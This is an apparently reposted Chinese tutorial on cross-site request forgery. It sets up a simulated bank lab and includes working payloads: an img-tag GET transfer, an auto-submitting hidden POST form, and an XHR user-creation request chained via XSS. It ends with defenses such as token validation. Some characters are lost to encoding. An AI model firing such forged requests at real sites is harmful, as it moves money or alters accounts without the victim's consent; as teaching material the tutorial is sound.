IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 跨站请求伪造CSRF -> 正文阅读

[PHP知识库]跨站请求伪造CSRF

目录

1跨站请求伪造概述

基本概念

关键点

?标

2CSRF 的场景复现

?构造CSRF攻击连接

?

?CSRF场景建模

?3CSRF的类别

POST ?式

4与XSS漏洞相结合

XSS和CSRF区别

?5CSRF漏洞的防御

无效的防御

有效的防御


1跨站请求伪造概述

hacker ?户可以伪造admin ?户的转账请求,强制admin ?户,转账给任意?户

基本概念

????????跨站请求伪造(Cross Site Request Forgery,CSRF) 。

????????CSRF 是?种攻击,它强制终端?户在当前对其进?身份验证后的Web 应?程序上执??本意操作的攻 击。

????????CSRF 攻击的重点在于更改状态的请求,?不是盗取数据,因为攻击者?法查看伪造请求的响应。 ????????

????????借助于社?的?些帮助,例如,通过电?邮件或聊天发送链接,攻击者可以诱骗?户执?攻击者选择的 操作。如果受害者是普通?户,则成功的CSRF 攻击可以强制?户执?更改状态的请求,例如转移资 ?、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应?程序。

关键点

? ?

 ? # # 受害者没有退出登录

????????CSRF 是?种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执??本意 的、恶意的操作。

????????对于?多数站点,浏览器请求会?动发送与站点关联的所有凭据,例如?户的会话Cookie,IP 地址, Windows 域凭据等。因此,如果?户已对当前站点进?了身份验证,则该站点没有办法区分?个请求 是受害者发送的合法请求还是攻击者伪造受害者身份发送的?法请求。

?标

????????CSRF 的?标是更改?户账户的状态,攻击者利?CSRF 发送的请求都是更改状态的请求,?如,转账、 更改密码,购买商品等等。 CSRF 的场景中,攻击者是没有办法获得服务器的响应

2CSRF 的场景复现

? ? ? ? #?模拟银行网站

http://192.168.52.138/bank/self.php

? ? ? ? #恶意网站

http://192.168.52.138/csrf/get.html

?构造CSRF攻击连接

<img src='./1.jpg'><br />
<img src='http://192.168.16.109/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝?在?,谁与争锋'>

????????通过 标签构造GET 请求。这个GET 请求来?于受害者的浏览器,是?户发起的转账请求。 ????????受害者访问?站的时候加载了 标签。浏览器会根据 标签中的 SRC 属性,请求服务器资源 (GET ),会?动带上身份认证信息(Cookie)。

?

?CSRF场景建模

?3CSRF的类别

POST ?式

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.16.113/bank/action.php'
method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--
<a href='javascript:document.csrf.submit()' style='color:red;fontsize:100px'>宝?在?,谁与争锋</a>
<br />

4与XSS漏洞相结合

XSS和CSRF区别

XSS:把代码注入到网页中,由网页执行JS代码

CSRF:WEB服务器没有对请求做验证,攻击者可以伪造受害者的请求,继承受害者身份特权,向服务器其发送请求。

? ? ? ? 攻击者可以利?XSS 触发CSRF 攻击。因为,可以利?JS 发送HTTP 请求。

???????? 经过研究受害?站的业务流程,可以构造如下代码

xmlhttp = new XMLHttpRequest();
xmlhttp.open('post','./user.action.php',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send('act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0');

?

?5CSRF漏洞的防御

无效的防御

????????#使?秘密的Cookie

????????#仅接收POST 请求

? ? ? ? #多步交易

多步交易,有可能会被恶意攻击者预测

? ? ? ? #URL 重写

用户的身份信息会暴露在URL 中
不建议通过引?另外?个漏洞来解决当前漏洞

? ? ? ? #HURL 重写

所有安全机制的前提。

有效的防御

? ? ? ? #验证Referer

当前URL 的上?个URL
是否可以伪造?

? ? ? ? #添加Token 验证

一串随机字符串
每?次客户端的请求,服务器都要刷新Token
服务器创建了?个Token 值,存储在服务器中并且下发到浏览器
下次浏览器请求,需要提交该Token 值,服务器根据浏览器提交的Token 与服务器中存储的Token
进??对
如果?者?致,说明请求是正常业务流程。
如果?者不?致,说明请求有可能来?于恶意的攻击者。
Token 的设计,在PHP 中通常利?SESSION 机制来实现。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 10:38:00  更:2021-09-10 10:39:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:03:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码